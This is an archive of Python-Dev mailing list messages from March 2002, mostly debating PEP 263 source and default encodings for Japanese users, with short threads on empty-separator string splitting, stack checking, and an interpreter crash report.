> default encodings.  Python has a very specific way to set its default
> encoding: the only way is to edit the site.py library module.  Is this
> what you are referring to?

Yes.

> I would think that setting Python's default encoding to UTF-16 in this
> way is a bad idea, because it breaks the main purpose of the default
> encoding: to allow an automatic coercion from the 8-bit strings that
> are used in many places in Python programs to Unicode strings.  
[...]
> For this reason, I find it hard to believe that people really set the
> Python default encoding in site.py to "utf-16".  Maybe I'm wrong -- or
> maybe you're talking about a different default encoding?

What we handle in Unicode with Python is often a document file
in UTF-16.  The default encoding is mainly applied to data from
the document.  Certainly we use EUC-JP etc. in Python scripts,
but mostly use them as comments or some such things.

Setting the default to UTF-16 is often a handy way to handle
Unicode for the present.

> It sounds like these people never rely on the implicit conversion
> between 8-bit strings and Unicode as I showed above, but instead use
> explicit conversions from data read from Unicode files, omitting the
> encoding.  So maybe you really do mean what I fear (setting Python's
> default encoding to UTF-16 in site.py).

Yes, I mean such things.  Please note that
u'<whatever-in-ascii>' is interpreted just literally and we
cannot put Japanese characters in string literals legally for
now anyway.

Python 2.2 (#1, Jan 16 2002, 12:05:05) 
[GCC egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> sys.getdefaultencoding()
'utf_16_be'
>>> u'abc'
u'abc'
>>> unicode("\x00a\x00b\x00c")
u'abc'


> >    I would propose that Python should default to ASCII as
> > standard encoding if no other encoding hints are given, as the
> > bottom line.  The interpreter's default encoding should not be
> > referred for source code.
> Unfortunately, this doesn't work for people in Europe, who set Latin-1
> as the default encoding, and want to use Latin-1 in their source
> files.

And neither for another some of us in Japan, who set EUC-JP as
the default encoding, and want to use EUC-JP in their source
files.

> I think I can propose a compromise though: there may be two default
> encodings, one used for Python source code, and one for data.
> Normally, a single default encoding is used for both cases, but it is
> possible to specify two different defaults, and then persons who like
> UTF-16 can set ASCII as the default source encoding but UTF-16 as the
> default data encoding.

It sounds very nice.  I understand that the default data
encoding will be applied to what from file objects.  It must be
the only(?) satisfying solution if the default source encoding
is to be set in site.py.
# Or else we should give up the default encoding for data...

> >    And I hope that Python defaults to UTF-8 as standard encoding
> > if no other encoding hints are given.  It is ASCII-compatible
> > perfectly and language-neutral.  If you once commit yourself to
> > Unicode, I think, UTF-8 is an obvious choice anyway.
> I'm not sure I understand.  (I understand UTF-8 perfectly well. :-)
> In the previous paragraph you propose to default to ASCII.  In this
> paragraph you propose to default to UTF-8.  Now which do you want?  Or
> do you want to propose these two for different situations?

I'm sorry for the ambiguity.
I proposed ASCII as the _minimum_ request.  I'd _hope_ UTF-8.

> Note that I originally wanted to use UTF-8 as the default encoding,
> but was convinced otherwise by the Europeans who rarely use UTF-8 but
> often Latin-1: but rather than giving anyone preferential treatment
> (except for the Americans, whose keyboads don't have keys that
> generate non-ASCII characters :-), I decided that the only fair
> solution was to default to ASCII, which has the property that any
> non-ASCII characters are considered an error.  But of course, the
> option to edit site.py sort of defeats this purpose. :-)

ASCII can express, I believe, _only_ English and classical Latin
well.  It would be safe to say that it is unfair for all people
in the world except for English-speaking people.

Once committed to Unicode, and if ASCII-compatibility is
mandatory, UTF-8, which is language-neutral, seems to be the
only fair solution to everyone.
# Of course, it might not be so if committed to ISO-2022...

> >    From my experiences, inserting the '-*- coding: <coding name>
> > -*-' line into an existing file and converting such a file into
> > UTF-8 are almost the same amount of work.
> Yes, for those people who have a UTF-8 toolchain set up.  I expect
> that many Europeans don't have one handy, because their needs are met
> by Latin-1.

Writing a converter from Latin-1 to UTF-8 is an easy exercise in
Python programming.  For a UTF-8 editor, IDLE on Tck/Tk8.3 may
be handy.

Those who want to use Latin-1 in the source code can always
specify '-*- coding: latin-1 -*-'.

> > We will be glad if Python understands Japanese (and other)
> > characters by default (by adopting, say, UTF-8 as default).

> I think that in the future, we be able to change the default to
> UTF-8.  Picking ASCII as the "official" default has the advantage that
> it will let us switch to UTF-8 in the future, when we feel that there
> is enough support for UTF-8 in the average computer system.

If one does not have enough support for UTF-8, and has some
8-bit clean editor (which is mandatory for Latin-1), I think,
UTF-8 is effectively the same as ASCII -- one can program
entirely in ASCII and cannot put national characters directly.

Others may distribute programs in UTF-8, but they will restrict
the usage of national characters reasonably (say, to their
signatures) if they want to make their programs open to all over
the world effectively.  Natinal characters may be displayed as
some meta characters on the editor.

# Of course, it may be not the case if the program depends deeply
# upon the local culture... (One example comes to my mind: I Ching
# -- it is pan-East-Asian)

--
SUZUKI Hisao <suzuki@acm.org> <suzuki611@okisoft.co.jp>


From stephen@xemacs.org  Tue Mar 12 12:18:29 2002
From: stephen@xemacs.org (Stephen J. Turnbull)
Date: 12 Mar 2002 21:18:29 +0900
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <200203120432.g2C4WvD10492@pcp742651pcs.reston01.va.comcast.net>
References: <200203120336.MAA30292@suzuki611.ngo.okisoft.co.jp>
 <200203120432.g2C4WvD10492@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <874rjm0yju.fsf@tleepslib.sk.tsukuba.ac.jp>

>>>>> "Guido" == Guido van Rossum <guido@python.org> writes:

    Guido> [Not having one-octet ASCII as a subset] sets UTF-16 apart
    Guido> from most other encodings, in particular UTF-8, but also (I
    Guido> believe) the common Japanese 8-bit encodings like Shift-JIS
    Guido> and EUC-JP.

This is correct; all of the encodings commonly used in Japan have the
property that one-octet ASCII is a subset (depending on how you define
"subset" for modal encodings like JUNET).  I've never seen UTF-16 "in
the wild", but it's possible some groups do use it internally.  But I
would expect that Python (with its well-organized codec interface)
would present small problem compared to ordinary text editors
(including both Emacsen) and other commonly used applications.  As far
as I know none of the freely available recoding utilities (except GNU
recode and GNU iconv, which are not tuned to the Japanese environment)
support UTF-16.  So it would be a very special environment.

    Guido> "abcd" interpreted as UTF-16 is a two-character Unicode
    Guido> string (and I wouldn't be surprised if it contained invalid
    Guido> code points).

Fear not, they're in the middle of the CJK block.  The second is
invalid in Japanese, though.

    Guido> I think I can propose a compromise though: there may be two
    Guido> default encodings, one used for Python source code, and one
    Guido> for data.

Why go in this direction?  It's better to allow each individual stream
to specify a codec to be implicitly applied, I think.  Consider Emacs,
for example, which allows specification of default codecs for (1) file
contents (2) names of file system objects (3) process I/O (but not I
and O and E separately, which has caused problems!) (4) console input
and (5) console output.  All of those are plausible candidates for
having separate defaults in Python as well.

For example, in Japan it's easy to imagine a program with local file
contents defaulting to UTF-8 (for cross-system portability) needing to
access the Windows 9x console and file system in Shift JIS, while
process (eg, network) I/O might be EUC-JP if the server were Unix.
(Yes, I'm straining, but not much.)

But if you allow codecs for each stream, people who want to have
different defaults for certain classes of stream would just derive
classes which initialized the default codec appropriately.


-- 
Institute of Policy and Planning Sciences     http://turnbull.sk.tsukuba.ac.jp
University of Tsukuba                    Tennodai 1-1-1 Tsukuba 305-8573 JAPAN
              Don't ask how you can "do" free software business;
              ask what your business can "do for" free software.


From paul@prescod.net  Tue Mar 12 13:10:20 2002
From: paul@prescod.net (Paul Prescod)
Date: Tue, 12 Mar 2002 05:10:20 -0800
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
References: <200203120336.MAA30292@suzuki611.ngo.okisoft.co.jp>
 <200203120432.g2C4WvD10492@pcp742651pcs.reston01.va.comcast.net> <874rjm0yju.fsf@tleepslib.sk.tsukuba.ac.jp>
Message-ID: <3C8DFE3C.601ED86B@prescod.net>

"Stephen J. Turnbull" wrote:
> 
>...
> 
> Why go in this direction?  It's better to allow each individual stream
> to specify a codec to be implicitly applied, I think.  

Python already has this feature. But the question PEP 0263 answers is
not about runtime streams. It is about Python source files which
obviously must be read and understood before you can even get to these
runtime streams.

> ... Consider Emacs,
> for example, which allows specification of default codecs for (1) file
> contents (2) names of file system objects (3) process I/O (but not I
> and O and E separately, which has caused problems!) (4) console input
> and (5) console output.  All of those are plausible candidates for
> having separate defaults in Python as well.

As PEP 263 is about source code, the analogous situation would be Elisp
files.

 Paul Prescod


From guido@python.org  Tue Mar 12 13:27:16 2002
From: guido@python.org (Guido van Rossum)
Date: Tue, 12 Mar 2002 08:27:16 -0500
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: Your message of "12 Mar 2002 21:18:29 +0900."
 <874rjm0yju.fsf@tleepslib.sk.tsukuba.ac.jp>
References: <200203120336.MAA30292@suzuki611.ngo.okisoft.co.jp> <200203120432.g2C4WvD10492@pcp742651pcs.reston01.va.comcast.net>
 <874rjm0yju.fsf@tleepslib.sk.tsukuba.ac.jp>
Message-ID: <200203121327.g2CDRG611486@pcp742651pcs.reston01.va.comcast.net>

>     Guido> I think I can propose a compromise though: there may be two
>     Guido> default encodings, one used for Python source code, and one
>     Guido> for data.

[Stephen J. Turnbull]
> Why go in this direction?  It's better to allow each individual stream
> to specify a codec to be implicitly applied, I think.  Consider Emacs,
> for example, which allows specification of default codecs for (1) file
> contents (2) names of file system objects (3) process I/O (but not I
> and O and E separately, which has caused problems!) (4) console input
> and (5) console output.  All of those are plausible candidates for
> having separate defaults in Python as well.
> 
> For example, in Japan it's easy to imagine a program with local file
> contents defaulting to UTF-8 (for cross-system portability) needing to
> access the Windows 9x console and file system in Shift JIS, while
> process (eg, network) I/O might be EUC-JP if the server were Unix.
> (Yes, I'm straining, but not much.)
> 
> But if you allow codecs for each stream, people who want to have
> different defaults for certain classes of stream would just derive
> classes which initialized the default codec appropriately.

Attaching codecs to streams is currently pretty painful AFAICT (I've
never tried it :-), but I think your idea has merit: there are
sufficiently many different contexts where an encoding must be
specified that it makes sense to allow setting different defaults for
the different contexts.  The issue of filename encoding is one with
which we (well, some of us) have struggled recently.

We'd have to
think more about which contexts exactly to consider; for now I can
come up with:

- file I/O;

- OS filenames;

- implicit mixing of 8-bit and Unicode strings;

- invocation of unicode(s) or u.decode() without an encoding.

I see your proposal as a possible future generalization of my
two-encodings proposal, not as an incimpatible alternative.

In the light of the post by Atsuo Ishimoto and the responses from both
Marc-Andre Lemburg and Martin von Loewis, however, I'm not sure
whether Suziki Hisao's response represents the Japanese community, and
it's possible that nothing needs to be done.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Tue Mar 12 13:33:50 2002
From: guido@python.org (Guido van Rossum)
Date: Tue, 12 Mar 2002 08:33:50 -0500
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: Your message of "Tue, 12 Mar 2002 19:57:35 +0900."
 <200203121057.TAA30512@suzuki611.ngo.okisoft.co.jp>
References: <200203121057.TAA30512@suzuki611.ngo.okisoft.co.jp>
Message-ID: <200203121333.g2CDXoM11501@pcp742651pcs.reston01.va.comcast.net>

> Please note that
> u'<whatever-in-ascii>' is interpreted just literally and we
> cannot put Japanese characters in string literals legally for
> now anyway.

Would you like to be able to?  The PEP will allow this -- that's its
whole point!

> > I think I can propose a compromise though: there may be two default
> > encodings, one used for Python source code, and one for data.
> > Normally, a single default encoding is used for both cases, but it is
> > possible to specify two different defaults, and then persons who like
> > UTF-16 can set ASCII as the default source encoding but UTF-16 as the
> > default data encoding.
> 
> It sounds very nice.  I understand that the default data
> encoding will be applied to what from file objects.  It must be
> the only(?) satisfying solution if the default source encoding
> is to be set in site.py.
> # Or else we should give up the default encoding for data...

I would strongly encourage the latter.  Are you really sure that there
isn't a better way to avoid having to type the encoding name all the
time?  E.g. define your own helper functions?

> I'm sorry for the ambiguity.
> I proposed ASCII as the _minimum_ request.  I'd _hope_ UTF-8.

I will ignore the rest of your message, which is just repeating
age-old arguments why we should use UTF-8.  We have considered this
carefully in the past, and rejected the idea.  I see nothing new in
your argument.

And yes, using ASCII is unfair to all non-English speakers.  But
Python uses English keywords anyway; I don't think we should strive
for total cultural relativism, and it's certainly not a fight I feel
the desire to fight for now.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From mal@lemburg.com  Tue Mar 12 13:44:27 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Tue, 12 Mar 2002 14:44:27 +0100
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
References: <200203120336.MAA30292@suzuki611.ngo.okisoft.co.jp> <200203120432.g2C4WvD10492@pcp742651pcs.reston01.va.comcast.net>
 <874rjm0yju.fsf@tleepslib.sk.tsukuba.ac.jp> <200203121327.g2CDRG611486@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <3C8E063B.70ECDF0B@lemburg.com>

Guido van Rossum wrote:
> 
> >     Guido> I think I can propose a compromise though: there may be two
> >     Guido> default encodings, one used for Python source code, and one
> >     Guido> for data.
> 
> [Stephen J. Turnbull]
> > Why go in this direction?  It's better to allow each individual stream
> > to specify a codec to be implicitly applied, I think.  Consider Emacs,
> > for example, which allows specification of default codecs for (1) file
> > contents (2) names of file system objects (3) process I/O (but not I
> > and O and E separately, which has caused problems!) (4) console input
> > and (5) console output.  All of those are plausible candidates for
> > having separate defaults in Python as well.
> >
> > For example, in Japan it's easy to imagine a program with local file
> > contents defaulting to UTF-8 (for cross-system portability) needing to
> > access the Windows 9x console and file system in Shift JIS, while
> > process (eg, network) I/O might be EUC-JP if the server were Unix.
> > (Yes, I'm straining, but not much.)
> >
> > But if you allow codecs for each stream, people who want to have
> > different defaults for certain classes of stream would just derive
> > classes which initialized the default codec appropriately.
> 
> Attaching codecs to streams is currently pretty painful AFAICT (I've
> never tried it :-), but I think your idea has merit: there are
> sufficiently many different contexts where an encoding must be
> specified that it makes sense to allow setting different defaults for
> the different contexts.  The issue of filename encoding is one with
> which we (well, some of us) have struggled recently.
> 
> We'd have to
> think more about which contexts exactly to consider; for now I can
> come up with:
> 
> - file I/O;
> 
> - OS filenames;
> 
> - implicit mixing of 8-bit and Unicode strings;
> 
> - invocation of unicode(s) or u.decode() without an encoding.
> 
> I see your proposal as a possible future generalization of my
> two-encodings proposal, not as an incimpatible alternative.

My position on this is *not* to introduce more defaults -- explicit
is better than implicit and in this particular case (encodings) 
it'll result in a net win.

> In the light of the post by Atsuo Ishimoto and the responses from both
> Marc-Andre Lemburg and Martin von Loewis, however, I'm not sure
> whether Suziki Hisao's response represents the Japanese community, and
> it's possible that nothing needs to be done.

Well, users using non-ASCII coding in their source files
should start to be explicit about the encoding (in phase 1
they'll get a warning printed which makes them aware of the 
problem), but other than that, I don't see a need for 
changes to the strategy.

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From tismer@tismer.com  Tue Mar 12 14:02:54 2002
From: tismer@tismer.com (Christian Tismer)
Date: Tue, 12 Mar 2002 15:02:54 +0100
Subject: [Python-Dev] "funny".split("")
Message-ID: <3C8E0A8E.2050108@tismer.com>

Hi Folks,

I'm just translating the Python Pocked Reference the
second time, and I stumbled over this:

   "funny".split("")

gives a ValueError: empty separator.

Why this?
I would expect

   ['f','u','n','n','y']

as result, since this is the maximum result of undoing

   "".join(['f','u','n','n','y'])

For what reason is this asymmetry?

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Kaunstr. 26                  :    *Starship* http://starship.python.net/
14163 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
PGP Fingerprint       E182 71C7 1A9D 66E9 9D15  D3CC D4D7 93E2 1FAE F6DF
      where do you want to jump today?   http://www.stackless.com/




From Jack.Jansen@oratrix.com  Tue Mar 12 15:17:08 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Tue, 12 Mar 2002 16:17:08 +0100
Subject: [Python-Dev] multiple recursion limit bugs
In-Reply-To: <15500.59508.115679.864684@beluga.mojam.com>
Message-ID: <383DE5CF-35CC-11D6-9F4A-0030655234CE@oratrix.com>

Yes, USE_STACKCHECK is defined elsewhere for MacPython.

On Monday, March 11, 2002, at 06:25 , Skip Montanaro wrote:
> I looked in _sre.c and saw that it does call PyOS_CheckStack, but it's
> guarded by the USE_STACKCHECK macro:
>
>     #if defined(USE_STACKCHECK)
>         if (level % 10 == 0 && PyOS_CheckStack())
>             return SRE_ERROR_RECURSION_LIMIT;
>     #endif
>
> That's defined in Include/pythonrun.h for a few platforms:
>
>     #if defined(WIN32) && !defined(MS_WIN64) && defined(_MSC_VER)
>     /* Enable stack checking under Microsoft C */
>     #define USE_STACKCHECK
>     #endif
>
> Should it also be defined for MacOS versions predating MacOS X (or is 
> this
> defined elsewhere for the Mac platform)?
>
> Skip
>
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From guido@python.org  Tue Mar 12 16:14:54 2002
From: guido@python.org (Guido van Rossum)
Date: Tue, 12 Mar 2002 11:14:54 -0500
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: Your message of "Tue, 12 Mar 2002 14:44:27 +0100."
 <3C8E063B.70ECDF0B@lemburg.com>
References: <200203120336.MAA30292@suzuki611.ngo.okisoft.co.jp> <200203120432.g2C4WvD10492@pcp742651pcs.reston01.va.comcast.net> <874rjm0yju.fsf@tleepslib.sk.tsukuba.ac.jp> <200203121327.g2CDRG611486@pcp742651pcs.reston01.va.comcast.net>
 <3C8E063B.70ECDF0B@lemburg.com>
Message-ID: <200203121614.g2CGEsW11926@pcp742651pcs.reston01.va.comcast.net>

> My position on this is *not* to introduce more defaults -- explicit
> is better than implicit and in this particular case (encodings) 
> it'll result in a net win.

I'd like to believe you.  But the fact that apparently there are
Japanese users who are willing to give up part of the language and
library just so they can have an certain default, suggests that
the need for defaults is a strong force.  Maybe we would've been
better off leaving sys.setdefaultencoding() enabled -- then those
people might have put sys.setdefaultencoding("utf-16") at the top of
their program rather than hacking site.py... :-(

> > In the light of the post by Atsuo Ishimoto and the responses from both
> > Marc-Andre Lemburg and Martin von Loewis, however, I'm not sure
> > whether Suziki Hisao's response represents the Japanese community, and
> > it's possible that nothing needs to be done.
> 
> Well, users using non-ASCII coding in their source files
> should start to be explicit about the encoding (in phase 1
> they'll get a warning printed which makes them aware of the 
> problem), but other than that, I don't see a need for 
> changes to the strategy.

Suzuki won't get the warning, because his source files are pure ASCII
-- but his Unicode string literals will be interpreted as utf-16,
which will break his programs.  The question is, do we care about him
and others like him, or do we decide that their habits are bad for
them and they have to change them?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From aahz@pythoncraft.com  Tue Mar 12 16:21:40 2002
From: aahz@pythoncraft.com (Aahz)
Date: Tue, 12 Mar 2002 11:21:40 -0500
Subject: [Python-Dev] New address
Message-ID: <20020312162140.GA26100@panix.com>

Because of the increasing burden of separating my personal and work
e-mail, I'm now using aahz@pythoncraft.com for work e-mail.  If you use
an address book entry for me, you probably want to update it.

Personal e-mail should still go to aahz@pobox.com
-- 
Aahz (aahz@pythoncraft.com)           <*>          http://www.pythoncraft.com/

The way to build large Python applications is to componentize and
loosely-couple the hell out of everything.


From stephen@xemacs.org  Tue Mar 12 16:28:03 2002
From: stephen@xemacs.org (Stephen J. Turnbull)
Date: 13 Mar 2002 01:28:03 +0900
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <3C8DFE3C.601ED86B@prescod.net>
References: <200203120336.MAA30292@suzuki611.ngo.okisoft.co.jp>
 <200203120432.g2C4WvD10492@pcp742651pcs.reston01.va.comcast.net>
 <874rjm0yju.fsf@tleepslib.sk.tsukuba.ac.jp>
 <3C8DFE3C.601ED86B@prescod.net>
Message-ID: <87n0xdzr70.fsf@tleepslib.sk.tsukuba.ac.jp>

>>>>> "Paul" == Paul Prescod <paul@prescod.net> writes:

    Paul> "Stephen J. Turnbull" wrote:

    >> Why go in this direction?  It's better to allow each individual
    >> stream to specify a codec to be implicitly applied, I think.

    Paul> Python already has this feature.

For the interpreter console, etc?  How?

    Paul> But the question PEP 0263 answers is not about runtime
    Paul> streams.

Python provides eval().  Punting on that _is_ an answer about runtime
streams.



-- 
Institute of Policy and Planning Sciences     http://turnbull.sk.tsukuba.ac.jp
University of Tsukuba                    Tennodai 1-1-1 Tsukuba 305-8573 JAPAN
              Don't ask how you can "do" free software business;
              ask what your business can "do for" free software.


From stephen@xemacs.org  Tue Mar 12 16:10:23 2002
From: stephen@xemacs.org (Stephen J. Turnbull)
Date: 13 Mar 2002 01:10:23 +0900
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <200203121327.g2CDRG611486@pcp742651pcs.reston01.va.comcast.net>
References: <200203120336.MAA30292@suzuki611.ngo.okisoft.co.jp>
 <200203120432.g2C4WvD10492@pcp742651pcs.reston01.va.comcast.net>
 <874rjm0yju.fsf@tleepslib.sk.tsukuba.ac.jp>
 <200203121327.g2CDRG611486@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <87pu29zs0g.fsf@tleepslib.sk.tsukuba.ac.jp>

>>>>> "Guido" == Guido van Rossum <guido@python.org> writes:

    Guido> Attaching codecs to streams is currently pretty painful
    Guido> AFAICT (I've never tried it :-),

I've tried it exactly once and it worked out of the box, just like the
docs said it would, for a trivial ISO 8859/1 -> UTF-8 recoder.  It's
just an additional argument in the open call.  This API is a win, and
can naturally be extended to internal streams (such as input()).

    Guido> and it's possible that nothing needs to be done.

:-)

-- 
Institute of Policy and Planning Sciences     http://turnbull.sk.tsukuba.ac.jp
University of Tsukuba                    Tennodai 1-1-1 Tsukuba 305-8573 JAPAN
              Don't ask how you can "do" free software business;
              ask what your business can "do for" free software.


From gsw@agere.com  Tue Mar 12 17:00:26 2002
From: gsw@agere.com (Gerald S. Williams)
Date: Tue, 12 Mar 2002 12:00:26 -0500
Subject: [Python-Dev] "funny".split("")
In-Reply-To: <E16kowU-0000Sq-00@mail.python.org>
Message-ID: <GBEGLOMMCLDACBPKDIHFCEHDCHAA.gsw@agere.com>

Christian Tismer wrote:
> I'm just translating the Python Pocked Reference the
> second time, and I stumbled over this:
>    "funny".split("")
> gives a ValueError: empty separator.
> Why this?

I don't know, but I have a patch for stringobject.c and
stropmodule.c that gives the behavior you asked for (I
haven't done unicodeobject.c yet). Should I post it?

-Jerry

-O Gerald S. Williams, 22Y-103GA : mailto:gsw@agere.com O-
-O AGERE SYSTEMS, 555 UNION BLVD : office:610-712-8661  O-
-O ALLENTOWN, PA, USA 18109-3286 : mobile:908-672-7592  O-


From mal@lemburg.com  Tue Mar 12 17:55:19 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Tue, 12 Mar 2002 18:55:19 +0100
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
References: <200203120336.MAA30292@suzuki611.ngo.okisoft.co.jp> <200203120432.g2C4WvD10492@pcp742651pcs.reston01.va.comcast.net> <874rjm0yju.fsf@tleepslib.sk.tsukuba.ac.jp> <200203121327.g2CDRG611486@pcp742651pcs.reston01.va.comcast.net>
 <3C8E063B.70ECDF0B@lemburg.com> <200203121614.g2CGEsW11926@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <3C8E4107.20337E35@lemburg.com>

Guido van Rossum wrote:
> 
> > My position on this is *not* to introduce more defaults -- explicit
> > is better than implicit and in this particular case (encodings)
> > it'll result in a net win.
> 
> I'd like to believe you.  But the fact that apparently there are
> Japanese users who are willing to give up part of the language and
> library just so they can have an certain default, suggests that
> the need for defaults is a strong force.  Maybe we would've been
> better off leaving sys.setdefaultencoding() enabled -- then those
> people might have put sys.setdefaultencoding("utf-16") at the top of
> their program rather than hacking site.py... :-(

(Actually, they'll tweak sitecustomize.py.) It's good that they
can only apply the change in this one location. Placing it inside
the various modules would cause a maintenance nightmare, removing
one of the great advantages of Python over other languages.

Anyway, I tend to believe that changes to the default encoding
are only rarely needed and then only to overcome problems with
occasional use of Unicode.

It's a myth that you can port a program to Unicode by tweaking
the default encoding to fit your environment alone. 

A true port will have to follow the Unicode object through the 
complete processing chain and apply the needed changes along the 
chain (which is much work, but certainly possible). A different
strategy would be treating text data as binary data and not
using Unicode at all. It all depends on the application scope.

> > > In the light of the post by Atsuo Ishimoto and the responses from both
> > > Marc-Andre Lemburg and Martin von Loewis, however, I'm not sure
> > > whether Suziki Hisao's response represents the Japanese community, and
> > > it's possible that nothing needs to be done.
> >
> > Well, users using non-ASCII coding in their source files
> > should start to be explicit about the encoding (in phase 1
> > they'll get a warning printed which makes them aware of the
> > problem), but other than that, I don't see a need for
> > changes to the strategy.
> 
> Suzuki won't get the warning, because his source files are pure ASCII
> -- but his Unicode string literals will be interpreted as utf-16,
> which will break his programs.  The question is, do we care about him
> and others like him, or do we decide that their habits are bad for
> them and they have to change them?

We do care (after all, the PEP was designed for non-ASCII
users), but it was never intended that we allow encodings
like UTF-16 to be used for Python source code. 

I'm afraid there's nothing much we can do. For UTF-8 they would 
just have to add a single coding comment to all source files, 
but there's nothing we can offer them for UTF-16.

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From gcordova@hebmex.com  Tue Mar 12 17:50:42 2002
From: gcordova@hebmex.com (Gustavo Cordova)
Date: Tue, 12 Mar 2002 11:50:42 -0600
Subject: [Python-Dev] Python interpreter crash.
Message-ID: <19650FF08A99D511B19E00B0D0F0632301D6893D@SRM201002>

Hi all, sorry for posting to this list.

I found a (maybe?) new bug, which crashes the interpreter.
Just do this (is't repeatable):

>>> from types import *
>>> mod =3D ModuleType.__new__(ModuleType)
>>> mod

Upon trying to do a str(mod) to print it (I believe),
the VM crashes and burns.

I was searching for a way to construct a new module
from it's file's compiled bytecode (just read() the "*.pyc" file),
so I thought maybe the ModuleType had some kind of constructor
which could use the compiled byte code.

I don't have web access, so I couldn't post it as a bug
report in sourceforge.
--=20
Gustavo C=F3rdova Avila
> gcordova@sismex.com
=C5 8351-3861 | 8351-3862


From nas@python.ca  Tue Mar 12 18:15:27 2002
From: nas@python.ca (Neil Schemenauer)
Date: Tue, 12 Mar 2002 10:15:27 -0800
Subject: [Python-Dev] Python interpreter crash.
In-Reply-To: <19650FF08A99D511B19E00B0D0F0632301D6893D@SRM201002>; from gcordova@hebmex.com on Tue, Mar 12, 2002 at 11:50:42AM -0600
References: <19650FF08A99D511B19E00B0D0F0632301D6893D@SRM201002>
Message-ID: <20020312101527.A26639@glacier.arctrix.com>

Gustavo Cordova wrote:
> I found a (maybe?) new bug, which crashes the interpreter.
> Just do this (is't repeatable):
> 
> >>> from types import *
> >>> mod = ModuleType.__new__(ModuleType)
> >>> mod

Thanks for the report.  I've submitted it as a bug on SF.

  Neil


From tismer@tismer.com  Tue Mar 12 18:16:43 2002
From: tismer@tismer.com (Christian Tismer)
Date: Tue, 12 Mar 2002 19:16:43 +0100
Subject: [Python-Dev] "funny".split("")
References: <GBEGLOMMCLDACBPKDIHFCEHDCHAA.gsw@agere.com>
Message-ID: <3C8E460B.3090500@tismer.com>

Gerald S. Williams wrote:

> Christian Tismer wrote:
> 
>>I'm just translating the Python Pocked Reference the
>>second time, and I stumbled over this:
>>   "funny".split("")
>>gives a ValueError: empty separator.
>>Why this?
>>
> 
> I don't know, but I have a patch for stringobject.c and
> stropmodule.c that gives the behavior you asked for (I
> haven't done unicodeobject.c yet). Should I post it?


Thanks a lot!
But I think this is not a problem of implementation
but design. Since "hello".split("") would be the only
ambiguous case (you can find non-countable infinite
outputs which would yield the same join), they seem
to have decided to forbid it.
I (bummer head) would have choosen the obvious,
but having to replace the expression by list("hello")
is just fine with me, and for sure a bit cleaner.

ciao - chris

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Kaunstr. 26                  :    *Starship* http://starship.python.net/
14163 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
PGP Fingerprint       E182 71C7 1A9D 66E9 9D15  D3CC D4D7 93E2 1FAE F6DF
      where do you want to jump today?   http://www.stackless.com/




From brian@sweetapp.com  Tue Mar 12 18:23:20 2002
From: brian@sweetapp.com (Brian Quinlan)
Date: Tue, 12 Mar 2002 10:23:20 -0800
Subject: [Python-Dev] "funny".split("")
In-Reply-To: <3C8E0A8E.2050108@tismer.com>
Message-ID: <000701c1c9f2$fd3370c0$445d4540@Dell2>

Christian wrote: 
> I'm just translating the Python Pocked Reference the
> second time, and I stumbled over this:
> 
>    "funny".split("")
> 
> gives a ValueError: empty separator.
> 
> Why this?
> I would expect
> 
>    ['f','u','n','n','y']

Why wouldn't you expect this: 
['', 'f', 'u', 'n', 'n', 'y', '']

As with:
>>> ' f u n n y '.split(' ')
['', 'f', 'u', 'n', 'n', 'y', '']

> as result, since this is the maximum result of undoing
> 
>    "".join(['f','u','n','n','y'])
> 
> For what reason is this asymmetry?

There will always be asymmetry because there are many lists that, when
joined by the empty string, return in the same string e.g.

>>> ''.join(['fun', 'ny'])
'funny'
>>> ''.join(['', 'f', 'u', 'n', 'n', 'y', ''])
'funny'
>>> ''.join(['f', 'u', 'n', 'n', 'y'])
'funny'

But the split method can only return one list.

Cheers,
Brian



From tismer@tismer.com  Tue Mar 12 18:28:19 2002
From: tismer@tismer.com (Christian Tismer)
Date: Tue, 12 Mar 2002 19:28:19 +0100
Subject: [Python-Dev] "funny".split("")
References: <000701c1c9f2$fd3370c0$445d4540@Dell2>
Message-ID: <3C8E48C3.4050109@tismer.com>

Brian Quinlan wrote:

> Christian wrote: 
> 
>>I'm just translating the Python Pocked Reference the
>>second time, and I stumbled over this:
>>
>>   "funny".split("")
>>
>>gives a ValueError: empty separator.
>>
>>Why this?
>>I would expect
>>
>>   ['f','u','n','n','y']
>>
> 
> Why wouldn't you expect this: 
> ['', 'f', 'u', 'n', 'n', 'y', '']
> 
> As with:
> 
>>>>' f u n n y '.split(' ')
>>>>
> ['', 'f', 'u', 'n', 'n', 'y', '']


Good example.
